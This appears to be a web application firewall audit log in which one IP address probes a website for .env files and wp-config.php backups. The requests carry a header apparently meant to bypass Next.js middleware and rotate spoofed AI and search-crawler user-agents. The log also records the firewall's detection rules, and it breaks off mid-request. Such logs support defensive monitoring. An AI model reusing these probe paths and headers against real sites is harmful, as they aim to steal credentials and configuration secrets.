[13/Sep/2026:16:26:20.960002 +0300] aqakfEwu1RSkptiiNIX@WQAAAI8 34.73.17.152 40962 127.0.0.1 7081
--fc6ba746-B--
GET /wp/.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; OAI-SearchBot/1.0; +https://openai.com/searchbot)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--fc6ba746-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--fc6ba746-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/wp/.env"] [unique_id "aqakfEwu1RSkptiiNIX@WQAAAI8"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305980894073 66054 (- - -)
Stopwatch2: 1789305980894073 66054; combined=4835, p1=262, p2=4515, p3=0, p4=0, p5=58, sr=117, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--fc6ba746-Z--

--97879358-A--
[13/Sep/2026:16:26:21.008181 +0300] aqakfGM7dE9KgIIOpQiA3AAAAMI 34.73.17.152 40968 127.0.0.1 7081
--97879358-B--
GET /wp-config.php.bak HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; OAI-SearchBot/1.0; +https://openai.com/searchbot)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--97879358-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--97879358-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/wp-config.php.bak||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/wp-config.php.bak"] [unique_id "aqakfGM7dE9KgIIOpQiA3AAAAMI"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/wp-config.php.bak||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/wp-config.php.bak"] [unique_id "aqakfGM7dE9KgIIOpQiA3AAAAMI"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/wp-config.php.bak"] [unique_id "aqakfGM7dE9KgIIOpQiA3AAAAMI"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305980906782 101468 (- - -)
Stopwatch2: 1789305980906782 101468; combined=30100, p1=208, p2=29780, p3=0, p4=0, p5=112, sr=80, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--97879358-Z--

--b0c53c6b-A--
[13/Sep/2026:16:26:21.128737 +0300] aqakfWM7dE9KgIIOpQiA3gAAAMM 34.73.17.152 40992 127.0.0.1 7081
--b0c53c6b-B--
GET /wp-config.php~ HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +claudebot@anthropic.com)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--b0c53c6b-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--b0c53c6b-H--
Message: Warning. Matched phrase "wp-config.php~" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php~||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "wp-config.php~" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/wp-config.php~||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. Pattern match "(\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:wp-config.php~||"] [severity "NOTICE"] [tag "service_i360custom"]
Message: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php~" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php~||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/wp-config.php~"] [unique_id "aqakfWM7dE9KgIIOpQiA3gAAAMM"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php~" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/wp-config.php~||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/wp-config.php~"] [unique_id "aqakfWM7dE9KgIIOpQiA3gAAAMM"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:wp-config.php~||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/wp-config.php~"] [unique_id "aqakfWM7dE9KgIIOpQiA3gAAAMM"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/wp-config.php~"] [unique_id "aqakfWM7dE9KgIIOpQiA3gAAAMM"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305981008870 119930 (- - -)
Stopwatch2: 1789305981008870 119930; combined=31572, p1=249, p2=31233, p3=0, p4=0, p5=90, sr=104, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--b0c53c6b-Z--

--babe132a-A--
[13/Sep/2026:16:26:21.174015 +0300] aqakfTTJ6xTvcJoem7f9-AAAAFc 34.73.17.152 41006 127.0.0.1 7081
--babe132a-B--
GET /wp-config.php.old HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--babe132a-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--babe132a-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.old||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/wp-config.php.old||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.old||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/wp-config.php.old"] [unique_id "aqakfTTJ6xTvcJoem7f9-AAAAFc"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/wp-config.php.old||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/wp-config.php.old"] [unique_id "aqakfTTJ6xTvcJoem7f9-AAAAFc"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/wp-config.php.old"] [unique_id "aqakfTTJ6xTvcJoem7f9-AAAAFc"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305981062005 112082 (- - -)
Stopwatch2: 1789305981062005 112082; combined=33290, p1=222, p2=32987, p3=0, p4=0, p5=80, sr=77, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--babe132a-Z--

--faab1a6f-A--
[13/Sep/2026:16:26:21.361608 +0300] aqakfWM7dE9KgIIOpQiA3wAAAMo 34.73.17.152 41068 127.0.0.1 7081
--faab1a6f-B--
GET /wp-config.php.swp HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--faab1a6f-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--faab1a6f-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.swp||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/wp-config.php.swp||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. Pattern match "(\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:wp-config.php.swp||"] [severity "NOTICE"] [tag "service_i360custom"]
Message: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.swp||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/wp-config.php.swp"] [unique_id "aqakfWM7dE9KgIIOpQiA3wAAAMo"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/wp-config.php.swp||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/wp-config.php.swp"] [unique_id "aqakfWM7dE9KgIIOpQiA3wAAAMo"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:wp-config.php.swp||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/wp-config.php.swp"] [unique_id "aqakfWM7dE9KgIIOpQiA3wAAAMo"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/wp-config.php.swp"] [unique_id "aqakfWM7dE9KgIIOpQiA3wAAAMo"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305981235856 125850 (- - -)
Stopwatch2: 1789305981235856 125850; combined=33740, p1=236, p2=33408, p3=0, p4=0, p5=95, sr=78, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--faab1a6f-Z--

--4e1b6b66-A--
[13/Sep/2026:16:26:21.581530 +0300] aqakfWM7dE9KgIIOpQiA4wAAANI 34.73.17.152 41100 127.0.0.1 7081
--4e1b6b66-B--
GET /laravel/.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: DuckAssistBot/1.1 (https://duckduckgo.com/duckassistbot)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--4e1b6b66-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--4e1b6b66-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/laravel/.env"] [unique_id "aqakfWM7dE9KgIIOpQiA4wAAANI"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305981506713 74877 (- - -)
Stopwatch2: 1789305981506713 74877; combined=4260, p1=225, p2=3968, p3=0, p4=0, p5=66, sr=87, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--4e1b6b66-Z--

--4e462173-A--
[13/Sep/2026:16:26:22.053011 +0300] aqakfWM7dE9KgIIOpQiA6gAAAMs 34.73.17.152 41182 127.0.0.1 7081
--4e462173-B--
GET /.env?import&raw HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; KimiBot/1.0; +https://kimi.ai/)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--4e462173-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--4e462173-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.env"] [unique_id "aqakfWM7dE9KgIIOpQiA6gAAAMs"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305981937384 115682 (- - -)
Stopwatch2: 1789305981937384 115682; combined=8715, p1=270, p2=8385, p3=0, p4=0, p5=59, sr=83, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--4e462173-Z--

--b13d9b71-A--
[13/Sep/2026:16:26:22.094952 +0300] aqakfkwu1RSkptiiNIX@XAAAAII 34.73.17.152 41208 127.0.0.1 7081
--b13d9b71-B--
GET /@fs/.env?raw&url?? HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--b13d9b71-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--b13d9b71-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw&url??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw&url??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/@fs/.env"] [unique_id "aqakfkwu1RSkptiiNIX@XAAAAII"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305982010934 84073 (- - -)
Stopwatch2: 1789305982010934 84073; combined=3655, p1=211, p2=3385, p3=0, p4=0, p5=58, sr=84, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--b13d9b71-Z--

--6d945252-A--
[13/Sep/2026:16:26:22.265299 +0300] aqakfkwu1RSkptiiNIX@XQAAAIU 34.73.17.152 41220 127.0.0.1 7081
--6d945252-B--
POST /api HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 452
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +claudebot@anthropic.com)
Accept: text/x-component
Content-Type: multipart/form-data; boundary=----r2s2t4v0u0qsxz8
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
Next-Action: r2s
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
Accept-Encoding: gzip

--6d945252-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--6d945252-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305982191936 73468 (- - -)
Stopwatch2: 1789305982191936 73468; combined=4932, p1=336, p2=4268, p3=0, p4=0, p5=328, sr=186, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--6d945252-Z--

--b1081206-A--
[13/Sep/2026:16:26:22.470757 +0300] aqakfmM7dE9KgIIOpQiA7gAAANU 34.73.17.152 41226 127.0.0.1 7081
--b1081206-B--
POST /api/v1/validate/code HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 166
